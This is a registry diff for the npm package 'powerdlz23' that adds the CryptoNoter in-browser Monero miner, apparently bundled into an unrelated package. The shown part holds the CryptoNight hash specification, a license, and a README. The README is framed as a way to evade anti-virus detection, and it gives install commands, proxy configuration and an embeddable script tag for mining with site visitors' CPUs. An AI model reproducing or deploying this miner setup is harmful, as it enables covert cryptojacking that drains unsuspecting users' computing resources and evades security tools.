powerdlz23 1.2.2 → 1.2.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/pto/CryptoNoter/.gitattributes +2 -0
- package/pto/CryptoNoter/CryptoNight.md +444 -0
- package/pto/CryptoNoter/CryptoNight.txt +364 -0
- package/pto/CryptoNoter/LICENSE +21 -0
- package/pto/CryptoNoter/README.md +178 -0
- package/pto/CryptoNoter/banner +4 -0
- package/pto/CryptoNoter/config.json +8 -0
- package/pto/CryptoNoter/install.sh +60 -0
- package/pto/CryptoNoter/package-lock.json +33 -0
- package/pto/CryptoNoter/package.json +16 -0
- package/pto/CryptoNoter/server.js +225 -0
- package/pto/CryptoNoter/web/demo.html +81 -0
- package/pto/CryptoNoter/web/index.html +1 -0
- package/pto/CryptoNoter/web/lib/cryptonight-asmjs.min.js +16891 -0
- package/pto/CryptoNoter/web/lib/cryptonight-asmjs.min.js.mem +0 -0
- package/pto/CryptoNoter/web/lib/cryptonight.wasm +0 -0
- package/pto/CryptoNoter/web/processor.js +496 -0
- package/pto/CryptoNoter/web/worker.js +5549 -0
- package/pto/crypto/README.md +1 -0
- package/pto/crypto/aes256cbc/README.md +59 -0
- package/pto/crypto/aes256cbc/aes256cbc.go +172 -0
- package/pto/crypto/aes256cbc/aes256cbc_test.go +105 -0
- package/pto/crypto/aes256cbc/examples_test.go +30 -0
- package/pto/crypto/dh64/README.md +84 -0
- package/pto/crypto/dh64/c/dh64.c +75 -0
- package/pto/crypto/dh64/c/dh64.h +12 -0
- package/pto/crypto/dh64/c/dh64_test.c +30 -0
- package/pto/crypto/dh64/csharp/dh64.cs +77 -0
- package/pto/crypto/dh64/csharp/dh64_test.cs +1074 -0
- package/pto/crypto/dh64/go/dh64.go +72 -0
- package/pto/crypto/dh64/go/dh64_test.go +1064 -0
- package/pto/crypto/mt19937/README.md +30 -0
- package/pto/crypto/mt19937/c/mt19937-64.c +180 -0
- package/pto/crypto/mt19937/c/mt19937-64.h +96 -0
- package/pto/crypto/mt19937/c/mt19937-64.out.txt +401 -0
- package/pto/crypto/mt19937/c/mt19937-64test.c +78 -0
- package/pto/crypto/mt19937/csharp/mt19937.cs +139 -0
- package/pto/crypto/mt19937/csharp/mt19937_test.cs +574 -0
- package/pto/crypto/mt19937/go/COPYING +674 -0
- package/pto/crypto/mt19937/go/README.rst +103 -0
- package/pto/crypto/mt19937/go/doc.go +35 -0
- package/pto/crypto/mt19937/go/example.go +32 -0
- package/pto/crypto/mt19937/go/mt19937.go +149 -0
- package/pto/crypto/mt19937/go/mt19937_test.go +614 -0
- package/pto/crypto/rc4/README.md +14 -0
- package/pto/crypto/rc4/csharp/rc4.cs +119 -0
- package/pto/crypto/rc4/csharp/rc4_echo_client.cs +78 -0
- package/pto/crypto/rc4/go/rc4_echo_client.go +102 -0
- package/pto/crypto/rc4/go/rc4_echo_server.go +110 -0
|
@@ -0,0 +1,364 @@
|
|
|
1
|
+
CRYPTONOTE STANDARD 008 Seigen
|
|
2
|
+
Category: Main Track Max Jameson
|
|
3
|
+
Tuomo Nieminen
|
|
4
|
+
Neocortex
|
|
5
|
+
Antonio M. Juarez
|
|
6
|
+
CryptoNote
|
|
7
|
+
March 2013
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
CryptoNight Hash Function
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
Abstract
|
|
14
|
+
|
|
15
|
+
This document is part of the CryptoNote Standards describing a peer-
|
|
16
|
+
to-peer anonymous payment system. It defines the CryptoNote's default
|
|
17
|
+
proof-of-work hash function, CryptoNight.
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
Copyright and License Notice
|
|
21
|
+
|
|
22
|
+
Copyright (c) 2013 CryptoNote. This document is available under the
|
|
23
|
+
Creative Commons Attribution 3.0 License (international). To view a
|
|
24
|
+
copy of the license visit http://creativecommons.org/licenses/by/3.0/
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
Table of Contents
|
|
28
|
+
|
|
29
|
+
1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . . 2
|
|
30
|
+
2. Definitions . . . . . . . . . . . . . . . . . . . . . . . . . . 2
|
|
31
|
+
3. Scratchpad Initialization . . . . . . . . . . . . . . . . . . . 2
|
|
32
|
+
4. Memory-Hard Loop . . . . . . . . . . . . . . . . . . . . . . . 4
|
|
33
|
+
5. Result Calculation . . . . . . . . . . . . . . . . . . . . . . 6
|
|
34
|
+
6. References . . . . . . . . . . . . . . . . . . . . . . . . . . 8
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
1. Introduction
|
|
39
|
+
|
|
40
|
+
CryptoNight is a memory-hard hash function. It is designed to be
|
|
41
|
+
inefficiently computable on GPU, FPGA and ASIC architectures. The
|
|
42
|
+
CryptoNight algorithm's first step is initializing large scratchpad
|
|
43
|
+
with pseudo-random data. The next step is numerous read/write
|
|
44
|
+
operations at pseudo-random addresses contained in the scratchpad.
|
|
45
|
+
The final step is hashing the entire scratchpad to produce the
|
|
46
|
+
resulting value.
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
2. Definitions
|
|
50
|
+
|
|
51
|
+
hash function: an efficiently computable function which maps data of
|
|
52
|
+
arbitrary size to data of fixed size and behaves similarly to a
|
|
53
|
+
random function
|
|
54
|
+
|
|
55
|
+
scratchpad: a large area of memory used to store intermediate values
|
|
56
|
+
during the evaluation of a memory-hard function
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
3. Scratchpad Initialization
|
|
60
|
+
|
|
61
|
+
First, the input is hashed using Keccak [KECCAK] with parameters b =
|
|
62
|
+
1600 and c = 512. The bytes 0..31 of the Keccak final state are
|
|
63
|
+
interpreted as an AES-256 key [AES] and expanded to 10 round keys. A
|
|
64
|
+
scratchpad of 2097152 bytes (2 MiB) is allocated. The bytes 64..191
|
|
65
|
+
are extracted from the Keccak final state and split into 8 blocks of
|
|
66
|
+
16 bytes each. Each block is encrypted using the following procedure:
|
|
67
|
+
|
|
68
|
+
for i = 0..9 do:
|
|
69
|
+
block = aes_round(block, round_keys[i])
|
|
70
|
+
|
|
71
|
+
Where aes_round function performs a round of AES encryption, which
|
|
72
|
+
means that SubBytes, ShiftRows and MixColumns steps are performed on
|
|
73
|
+
the block, and the result is XORed with the round key. Note that
|
|
74
|
+
unlike in the AES encryption algorithm, the first and the last rounds
|
|
75
|
+
are not special. The resulting blocks are written into the first 128
|
|
76
|
+
bytes of the scratchpad. Then, these blocks are encrypted again in
|
|
77
|
+
the same way, and the result is written into the second 128 bytes of
|
|
78
|
+
the scratchpad. Each time 128 bytes are written, they represent the
|
|
79
|
+
result of the encryption of the previously written 128 bytes. The
|
|
80
|
+
process is repeated until the scratchpad is fully initialized.
|
|
81
|
+
|
|
82
|
+
This diagram illustrates scratchpad initialization:
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
+-----+
|
|
86
|
+
|Input|
|
|
87
|
+
+-----+
|
|
88
|
+
|
|
|
89
|
+
V
|
|
90
|
+
+--------+
|
|
91
|
+
| Keccak |
|
|
92
|
+
+--------+
|
|
93
|
+
|
|
|
94
|
+
V
|
|
95
|
+
+-------------------------------------------------------------+
|
|
96
|
+
| Final state |
|
|
97
|
+
+-------------+--------------+---------------+----------------+
|
|
98
|
+
| Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
|
|
99
|
+
+-------------+--------------+---------------+----------------+
|
|
100
|
+
| |
|
|
101
|
+
V |
|
|
102
|
+
+-------------+ V
|
|
103
|
+
| Round key 0 |------------+---+->+-----+
|
|
104
|
+
+-------------+ | | | |
|
|
105
|
+
| . | | | | |
|
|
106
|
+
| . | | | | AES |
|
|
107
|
+
| . | | | | |
|
|
108
|
+
+-------------+ | | | |
|
|
109
|
+
| Round key 9 |----------+-|-+-|->+-----+ +---+
|
|
110
|
+
+-------------+ | | | | | | |
|
|
111
|
+
| | | | +------------------->| |
|
|
112
|
+
| | | | | | |
|
|
113
|
+
| | | | V | |
|
|
114
|
+
| | | +->+-----+ | |
|
|
115
|
+
| | | | | | S |
|
|
116
|
+
| | | | | | |
|
|
117
|
+
| | | | AES | | c |
|
|
118
|
+
| | | | | | |
|
|
119
|
+
| | | | | | r |
|
|
120
|
+
| | +--->+-----+ | |
|
|
121
|
+
| | | | a |
|
|
122
|
+
| | +------------------->| |
|
|
123
|
+
| | . | t |
|
|
124
|
+
| | . | |
|
|
125
|
+
| | . | c |
|
|
126
|
+
| | +------------------->| |
|
|
127
|
+
| | | | h |
|
|
128
|
+
| | V | |
|
|
129
|
+
| +----->+-----+ | p |
|
|
130
|
+
| | | | |
|
|
131
|
+
| | | | a |
|
|
132
|
+
| | AES | | |
|
|
133
|
+
| | | | d |
|
|
134
|
+
| | | | |
|
|
135
|
+
+------->+-----+ | |
|
|
136
|
+
| | |
|
|
137
|
+
+------------------->| |
|
|
138
|
+
| |
|
|
139
|
+
+---+
|
|
140
|
+
|
|
141
|
+
Figure 3: Scratchpad initialization diagram
|
|
142
|
+
|
|
143
|
+
|
|
144
|
+
4. Memory-Hard Loop
|
|
145
|
+
|
|
146
|
+
Prior to the main loop, bytes 0..31 and 32..63 of the Keccak state
|
|
147
|
+
are XORed, and the resulting 32 bytes are used to initialize
|
|
148
|
+
variables a and b, 16 bytes each. These variables are used in the
|
|
149
|
+
main loop. The main loop is iterated 524,288 times. When a 16-byte
|
|
150
|
+
value needs to be converted into an address in the scratchpad, it is
|
|
151
|
+
interpreted as a little-endian integer, and the 21 low-order bits are
|
|
152
|
+
used as a byte index. However, the 4 low-order bits of the index are
|
|
153
|
+
cleared to ensure the 16-byte alignment. The data is read from and
|
|
154
|
+
written to the scratchpad in 16-byte blocks. Each iteration can be
|
|
155
|
+
expressed with the following pseudo-code:
|
|
156
|
+
|
|
157
|
+
scratchpad_address = to_scratchpad_address(a)
|
|
158
|
+
scratchpad[scratchpad_address] = aes_round(scratchpad
|
|
159
|
+
[scratchpad_address], a)
|
|
160
|
+
b, scratchpad[scratchpad_address] = scratchpad[scratchpad_address],
|
|
161
|
+
b xor scratchpad[scratchpad_address]
|
|
162
|
+
scratchpad_address = to_scratchpad_address(b)
|
|
163
|
+
a = 8byte_add(a, 8byte_mul(b, scratchpad[scratchpad_address]))
|
|
164
|
+
a, scratchpad[scratchpad_address] = a xor
|
|
165
|
+
scratchpad[scratchpad_address], a
|
|
166
|
+
|
|
167
|
+
Where, the 8byte_add function represents each of the arguments as a
|
|
168
|
+
pair of 64-bit little-endian values and adds them together,
|
|
169
|
+
component-wise, modulo 2^64. The result is converted back into 16
|
|
170
|
+
bytes.
|
|
171
|
+
|
|
172
|
+
The 8byte_mul function, however, uses only the first 8 bytes of each
|
|
173
|
+
argument, which are interpreted as unsigned 64-bit little-endian
|
|
174
|
+
integers and multiplied together. The result is converted into 16
|
|
175
|
+
bytes, and finally the two 8-byte halves of the result are swapped.
|
|
176
|
+
|
|
177
|
+
This diagram illustrates the memory-hard loop:
|
|
178
|
+
|
|
179
|
+
+-------------------------------------------------------------+
|
|
180
|
+
| Final state |
|
|
181
|
+
+-------------+--------------+---------------+----------------+
|
|
182
|
+
| Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
|
|
183
|
+
+-------------+--------------+---------------+----------------+
|
|
184
|
+
| |
|
|
185
|
+
| +-----+ |
|
|
186
|
+
+-->| XOR |<--+
|
|
187
|
+
+-----+
|
|
188
|
+
| |
|
|
189
|
+
+----+ +----+
|
|
190
|
+
| |
|
|
191
|
+
V V
|
|
192
|
+
+---+ +---+
|
|
193
|
+
| a | | b |
|
|
194
|
+
+---+ +---+
|
|
195
|
+
| |
|
|
196
|
+
--------------------- REPEAT 524288 TIMES ---------------------
|
|
197
|
+
| | address +---+
|
|
198
|
+
+-------------|----------------------------------->| |
|
|
199
|
+
| +-----+ | read | |
|
|
200
|
+
+-->| AES |<--|------------------------------------| |
|
|
201
|
+
| +-----+ V | |
|
|
202
|
+
| | +-----+ | S |
|
|
203
|
+
| +-->| XOR | | |
|
|
204
|
+
| | +-----+ write | c |
|
|
205
|
+
| | | +------------------------------>| |
|
|
206
|
+
| | +----+ address | r |
|
|
207
|
+
| +------------------------------------------>| |
|
|
208
|
+
| | +-----------+ read | a |
|
|
209
|
+
| +->| 8byte_mul |<--+------------------------| |
|
|
210
|
+
| | +-----------+ | | t |
|
|
211
|
+
| | | | | |
|
|
212
|
+
| | V | | c |
|
|
213
|
+
| | +-----------+ | | |
|
|
214
|
+
+------|->| 8byte_add | | | h |
|
|
215
|
+
| +-----------+ | | |
|
|
216
|
+
| | | write | p |
|
|
217
|
+
| +---------|----------------------->| |
|
|
218
|
+
| | | | a |
|
|
219
|
+
| V | | |
|
|
220
|
+
| +-----+ | | d |
|
|
221
|
+
| | XOR |<-----+ | |
|
|
222
|
+
| +-----+ | |
|
|
223
|
+
+------+ | | |
|
|
224
|
+
+-------------|-+ | |
|
|
225
|
+
| | +---+
|
|
226
|
+
-------------------------- END REPEAT -------------------------
|
|
227
|
+
| |
|
|
228
|
+
|
|
229
|
+
Figure 4: Memory-hard loop diagram
|
|
230
|
+
|
|
231
|
+
|
|
232
|
+
5. Result Calculation
|
|
233
|
+
|
|
234
|
+
After the memory-hard part, bytes 32..63 from the Keccak state are
|
|
235
|
+
expanded into 10 AES round keys in the same manner as in the first
|
|
236
|
+
part.
|
|
237
|
+
|
|
238
|
+
Bytes 64..191 are extracted from the Keccak state and XORed with the
|
|
239
|
+
first 128 bytes of the scratchpad. Then the result is encrypted in
|
|
240
|
+
the same manner as in the first part, but using the new keys. The
|
|
241
|
+
result is XORed with the second 128 bytes from the scratchpad,
|
|
242
|
+
encrypted again, and so on.
|
|
243
|
+
|
|
244
|
+
After XORing with the last 128 bytes of the scratchpad, the result is
|
|
245
|
+
encrypted the last time, and then the bytes 64..191 in the Keccak
|
|
246
|
+
state are replaced with the result. Then, the Keccak state is passed
|
|
247
|
+
through Keccak-f (the Keccak permutation) with b = 1600.
|
|
248
|
+
|
|
249
|
+
Then, the 2 low-order bits of the first byte of the state are used to
|
|
250
|
+
select a hash function: 0=BLAKE-256 [BLAKE], 1=Groestl-256 [GROESTL],
|
|
251
|
+
2=JH-256 [JH], and 3=Skein-256 [SKEIN]. The chosen hash function is
|
|
252
|
+
then applied to the Keccak state, and the resulting hash is the
|
|
253
|
+
output of CryptoNight.
|
|
254
|
+
|
|
255
|
+
The diagram below illustrates the result calculation:
|
|
256
|
+
|
|
257
|
+
+-------------------------------------------------------------+
|
|
258
|
+
| Final state |
|
|
259
|
+
+-------------+--------------+---------------+----------------+
|
|
260
|
+
| Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
|
|
261
|
+
+-------------+--------------+---------------+----------------+
|
|
262
|
+
| | | |
|
|
263
|
+
| +--------+ | |
|
|
264
|
+
| V | | |
|
|
265
|
+
|+-------------+ | | |
|
|
266
|
+
|| Round key 0 |-|---+---+ | |
|
|
267
|
+
|+-------------+ | | | | |
|
|
268
|
+
|| . | | | | | |
|
|
269
|
+
|| . | | | | | |
|
|
270
|
+
|| . | | | | | |
|
|
271
|
+
|+-------------+ | | | | |
|
|
272
|
+
+---+ || Round key 9 |-|-+-|-+ | V |
|
|
273
|
+
| | |+-------------+ | | | | | +-----+ |
|
|
274
|
+
| |-|----------------|-|-|-|-|->| XOR | |
|
|
275
|
+
| | | | | | | | +-----+ |
|
|
276
|
+
| S | | | | | | | | |
|
|
277
|
+
| | | | | | | | V |
|
|
278
|
+
| c | | | | | | +->+-----+ |
|
|
279
|
+
| | | | | | | | | |
|
|
280
|
+
| r | | | | | | | | |
|
|
281
|
+
| | | | | | | | AES | |
|
|
282
|
+
| a | | | | | | | | |
|
|
283
|
+
| | | | | | | | | |
|
|
284
|
+
| t | | | | | +--->+-----+ |
|
|
285
|
+
| | | | | | | |
|
|
286
|
+
| c | | | | | V |
|
|
287
|
+
| | | | | | +-----+ |
|
|
288
|
+
| h |-|----------------|-|-|----->| XOR | |
|
|
289
|
+
| | | | | | +-----+ |
|
|
290
|
+
| p | | | | | | |
|
|
291
|
+
| | | | | | . |
|
|
292
|
+
| a | | | | | . |
|
|
293
|
+
| | | | | | . |
|
|
294
|
+
| d | | | | | | |
|
|
295
|
+
| | | | | | V |
|
|
296
|
+
| | | | | | +-----+ |
|
|
297
|
+
| |-|----------------|-|-|----->| XOR | |
|
|
298
|
+
| | | | | | +-----+ |
|
|
299
|
+
+---+ | | | | | |
|
|
300
|
+
| | | | V |
|
|
301
|
+
| | | +----->+-----+ |
|
|
302
|
+
| | | | | |
|
|
303
|
+
| | | | | |
|
|
304
|
+
| | | | AES | |
|
|
305
|
+
| | | | | |
|
|
306
|
+
| | | | | |
|
|
307
|
+
| | +------->+-----+ |
|
|
308
|
+
| | | |
|
|
309
|
+
V V V V
|
|
310
|
+
+-------------+--------------+---------------+----------------+
|
|
311
|
+
| Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
|
|
312
|
+
+-------------+--------------+---------------+----------------+
|
|
313
|
+
| Modified state |
|
|
314
|
+
+-------------------------------------------------------------+
|
|
315
|
+
|
|
|
316
|
+
V
|
|
317
|
+
+----------+
|
|
318
|
+
| Keccak-f |
|
|
319
|
+
+----------+
|
|
320
|
+
| |
|
|
321
|
+
+-----------+ |
|
|
322
|
+
| |
|
|
323
|
+
V V
|
|
324
|
+
+-------------+ +-------------+
|
|
325
|
+
| Select hash |->| Chosen hash |
|
|
326
|
+
+-------------+ +-------------+
|
|
327
|
+
|
|
|
328
|
+
V
|
|
329
|
+
+--------------+
|
|
330
|
+
| Final result |
|
|
331
|
+
+--------------+
|
|
332
|
+
|
|
333
|
+
Figure 5: Result calculation diagram
|
|
334
|
+
|
|
335
|
+
|
|
336
|
+
Hash examples:
|
|
337
|
+
|
|
338
|
+
Empty string:
|
|
339
|
+
eb14e8a833fac6fe9a43b57b336789c46ffe93f2868452240720607b14387e11.
|
|
340
|
+
|
|
341
|
+
"This is a test":
|
|
342
|
+
a084f01d1437a09c6985401b60d43554ae105802c5f5d8a9b3253649c0be6605.
|
|
343
|
+
|
|
344
|
+
|
|
345
|
+
6. References
|
|
346
|
+
|
|
347
|
+
[AES] "Announcing the ADVANCED ENCRYPTION STANDARD", FIPS 197, 2001.
|
|
348
|
+
|
|
349
|
+
[BLAKE] Aumasson, J.-P., Henzen, L., Meier, W., and R. C.-W. Phan,
|
|
350
|
+
"SHA-3 proposal BLAKE", 2010.
|
|
351
|
+
|
|
352
|
+
[GROESTL] Gauravaram, P., Knudsen, L., Matusiewicz, K., Mendel, F.,
|
|
353
|
+
|
|
354
|
+
Rechberger, C., Schlaffer, M., and S. Thomsen, "Groestl - a SHA-3
|
|
355
|
+
candidate", 2011.
|
|
356
|
+
|
|
357
|
+
[JH] Wu, H., "The Hash Function JH", 2011.
|
|
358
|
+
|
|
359
|
+
[KECCAK] Bertoni, G., Daemen, J., Peeters, M., and G. Van Assche,
|
|
360
|
+
"The Keccak reference", 2011.
|
|
361
|
+
|
|
362
|
+
[SKEIN] Ferguson, N., Lucks, S., Schneier, B., Whiting, D., Bellare,
|
|
363
|
+
M., Kohno, T., Callas, J., and J. Walker, "The Skein Hash Function
|
|
364
|
+
Family", 2008.
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2017 cryptonoter
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,178 @@
|
|
|
1
|
+
## IMPORTANT NOTE
|
|
2
|
+
I (JayWalker512, aka Brandon Foltz) am NOT the author of this software. I forked this repository from it's original author (cryptonoter) to serve as a mirror in case they disappeared and deleted their repository (which they did).
|
|
3
|
+
|
|
4
|
+
I cannot provide any assistance, support, bug fixes, etc. for this software. You are 100% on your own and using this software at your own risk.
|
|
5
|
+
|
|
6
|
+
## CryptoNoter In-Browser Javascript XMR miner
|
|
7
|
+
`Open Source Project` `"Plug & Play" Installation` `Set Up Within 10 Mins`<br /><br />
|
|
8
|
+
In-Browser Javascript XMR miner for websites / Payout towards personal XMR wallet<br />
|
|
9
|
+
Built for in-browser javascript mining on any Monero pools. 0% Commission. 100% Payout
|
|
10
|
+
* You can set up CryptoNoter wthin 10 minutes if you have basic knowledge of server set-up. If you are a newbie, you might need to take some time to set up CryptoNoter
|
|
11
|
+
|
|
12
|
+
## Why This Open Source Project Is Created
|
|
13
|
+
* Websites that use Javscript browser miners (Coinhive, Crypto-Loot, etc) are specifically targeted by most anti-virus softwares including the built-in Windows Defender. When visitors visit these websites, they will be notified that malicious codes / viruses have been detected on these websites. Well, you should know how such notifications affect the website. In addition, you get charged up to 30% commission by these javscript mining platforms.
|
|
14
|
+
|
|
15
|
+
This open source project is created to bypass detection and avoid being flagged as malicious websites by running your own Javscript Mining Server and deploying it on your websites. It is similar to Coinhive idea, however you do not have to be charged for any percent of your earnings. You can point to any Monero mining pool and get 100% for your mining efforts. (Of course, less the pool fees)
|
|
16
|
+
|
|
17
|
+
CryptoNoter Demo: https://www.cryptonoter.com/demo.php
|
|
18
|
+
|
|
19
|
+
## Requirements
|
|
20
|
+
The project is basically a "Plug & Play" installation. Most of the configurations are setup automatically when you run the installation. Simply follow the step by step installation.
|
|
21
|
+
|
|
22
|
+
However, if you decide to modify or optimize CryptoNoter for maximum mining capabilities, you will need good knowledge on Nginx Reverse Proxy, javascript, etc. For example, we did approx 1550 H/s for a website with approx 15,000 visitors (Avg Time on Page: 55 secs / visitor) before optimization. After optimization, we are doing on avg 3500 H/s
|
|
23
|
+
|
|
24
|
+
`Minimum System Requirements`
|
|
25
|
+
1. Server with at least 1 CPU, 1 GB Ram & 8GB Harddisk [You will need better specs if you have higher traffic load]
|
|
26
|
+
2. Ubuntu(Debian) OS
|
|
27
|
+
3. Nginx, Nodejs, NPM & Forever Packages
|
|
28
|
+
4. SSL Support For Domain. Use https://certbot.eff.org/
|
|
29
|
+
|
|
30
|
+
`IMPORTANT NOTE:` DO NOT USE GOOGLE COMPUTE ENGINE (GCE) or other related Google CLoud Services for crypto-mining services. It is in violation of their TOS. Google will suspend your account, lock your files and charge you for the usage. Been there, done that. So don't waste your precious time.
|
|
31
|
+
|
|
32
|
+
## Installation
|
|
33
|
+
Install CryptoNoter
|
|
34
|
+
```bash
|
|
35
|
+
curl https://raw.githubusercontent.com/cryptonoter/CryptoNoter/master/install.sh > install.sh
|
|
36
|
+
sudo sh install.sh
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
During the installation process, you are REQUIRED to specify your Monero Wallet Address. If you do not specify your wallet address, the installer will prompt you for it before proceeding with installation.
|
|
40
|
+
|
|
41
|
+
* Install Control Panel (Vesta CP or Cpanel)
|
|
42
|
+
* Set Up Your Domain DNS Properly & Configure Firewalls
|
|
43
|
+
* Use CertBot To Assign SSL For Your Domain
|
|
44
|
+
* Login Via FTP and Upload The Files Within The `web` Folder To Your Domain
|
|
45
|
+
|
|
46
|
+
## Important
|
|
47
|
+
This is a Nginx Reverse Proxy server setup, YOU NEED TO ADD THE FOLLOWING TO YOUR NGINX.CONF file under the domain. Without the following configuration, it will not work.
|
|
48
|
+
|
|
49
|
+
```html
|
|
50
|
+
location /proxy {
|
|
51
|
+
add_header 'Access-Control-Allow-Origin' * always;
|
|
52
|
+
proxy_pass http://localhost:7777;
|
|
53
|
+
proxy_http_version 1.1;
|
|
54
|
+
proxy_set_header Upgrade $http_upgrade;
|
|
55
|
+
proxy_set_header Connection "upgrade";
|
|
56
|
+
}
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
## Usage
|
|
60
|
+
* Run CryptoNoter server.js script
|
|
61
|
+
```bash
|
|
62
|
+
forever start /srv/CryptoNoter/server.js
|
|
63
|
+
```
|
|
64
|
+
* Make sure CryptoNoter server.js script is running on the server by using the command `forever list`
|
|
65
|
+
```bash
|
|
66
|
+
info: Forever processes running
|
|
67
|
+
data: uid command script forever pid id logfile uptime
|
|
68
|
+
data: [0] tX4L /usr/bin/node /srv/CryptoNoter/server.js 7379 7385 /root/.forever/tX4L.log 0:0:59:11.96
|
|
69
|
+
```
|
|
70
|
+
* Make sure you have uploaded the `web` folder to your domain public_html or domain root. Ensure you can access https://YOUR_DOMAIN_NAME/demo.html
|
|
71
|
+
|
|
72
|
+
* Change the settings for these files: worker.js, processor.js & lib/cryptonight-asmjs.min.js<br />
|
|
73
|
+
Replace %CryptoNoter_domain% with your DOMAIN_NAME
|
|
74
|
+
|
|
75
|
+
```html
|
|
76
|
+
self.CryptoNoter = self.CryptoNoter || {};
|
|
77
|
+
self.CryptoNoter.CONFIG = {
|
|
78
|
+
LIB_URL: "https://%CryptoNoter_domain%/lib/",
|
|
79
|
+
WEBSOCKET_SHARDS: [["wss://%CryptoNoter_domain%/proxy"]],
|
|
80
|
+
CAPTCHA_URL: "https://%CryptoNoter_domain%/captcha/",
|
|
81
|
+
MINER_URL: "https://%CryptoNoter_domain%/media/miner.html"
|
|
82
|
+
};
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
* Add the following javascript before the `</head>` tag onto webpages that you want the miner to run on. Remember to replace www.cryptonoter.com with your domain name. Else, you will be mining for my wallet
|
|
86
|
+
```html
|
|
87
|
+
<script src="https://www.cryptonoter.com/processor.js"></script>
|
|
88
|
+
<script>
|
|
89
|
+
var miner = new CryptoNoter.Anonymous('CryptoNoter').start();
|
|
90
|
+
</script>
|
|
91
|
+
```
|
|
92
|
+
* Done! You can now start mining using your visitors' CPU resources by adding the above tag to any of your websites.
|
|
93
|
+
Have a look at CryptoNoter Demo: https://www.cryptonoter.com/demo.php
|
|
94
|
+
|
|
95
|
+
## JS Miner Documentation
|
|
96
|
+
There are parameters that you can preset within the javscript miner script.
|
|
97
|
+
|
|
98
|
+
*`autothreads(value)`
|
|
99
|
+
The number of threads the miner should start with. Set to true is to auto detect the number of CPU cores available on the user's computer.
|
|
100
|
+
|
|
101
|
+
*`throttle(value)`
|
|
102
|
+
Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.8 they will stay idle 80% of the time.
|
|
103
|
+
|
|
104
|
+
Here are some basic configuration for the parameters:
|
|
105
|
+
```html
|
|
106
|
+
<script src="https://www.cryptonoter.com/processor.js"></script>
|
|
107
|
+
<script>
|
|
108
|
+
var addr = 'CryptoNoter';
|
|
109
|
+
var miner = new CryptoNoter.Anonymous(addr, {
|
|
110
|
+
autoThreads: true,
|
|
111
|
+
throttle: 0.8
|
|
112
|
+
});
|
|
113
|
+
miner.start();
|
|
114
|
+
</script>
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
## Troubleshooting
|
|
118
|
+
Check if server.js execute successfully by using this command
|
|
119
|
+
```bash
|
|
120
|
+
node /srv/CryptoNoter/server.js
|
|
121
|
+
```
|
|
122
|
+
If script executes successfully, it should show:
|
|
123
|
+
```bash
|
|
124
|
+
In-Browser Javascript XMR miner for websites / Payout towards personal XMR wallet
|
|
125
|
+
Built for in-browser javascript mining on any Monero pools. 0% Commission. 100% Payout
|
|
126
|
+
|
|
127
|
+
Listen on : 127.0.0.1:7777
|
|
128
|
+
Pool Host : monero.us.to:1111
|
|
129
|
+
Ur Wallet : YOUR_WALLET_ADDRESS
|
|
130
|
+
```
|
|
131
|
+
If script executes unsucessfully, it should show error logs. Troubleshoot by referring to the errors shown.
|
|
132
|
+
`For example:` The error log shown below means that the port 7777 is currently in use. `To resolve:` Simply listen to the port 7777, identify the process that is using the port and kill the process. Then try executing the script server.js again
|
|
133
|
+
```bash
|
|
134
|
+
Error: listen EADDRINUSE 127.0.0.1:7777
|
|
135
|
+
at Object._errnoException (util.js:1024:11)
|
|
136
|
+
at _exceptionWithHostPort (util.js:1046:20)
|
|
137
|
+
at Server.setupListenHandle [as _listen2] (net.js:1351:14)
|
|
138
|
+
at listenInCluster (net.js:1392:12)
|
|
139
|
+
at doListen (net.js:1501:7)
|
|
140
|
+
at _combinedTickCallback (internal/process/next_tick.js:141:11)
|
|
141
|
+
at process._tickCallback (internal/process/next_tick.js:180:9)
|
|
142
|
+
at Function.Module.runMain (module.js:678:11)
|
|
143
|
+
at startup (bootstrap_node.js:187:16)
|
|
144
|
+
at bootstrap_node.js:608:3
|
|
145
|
+
```
|
|
146
|
+
`Common Issues & Bugs:`
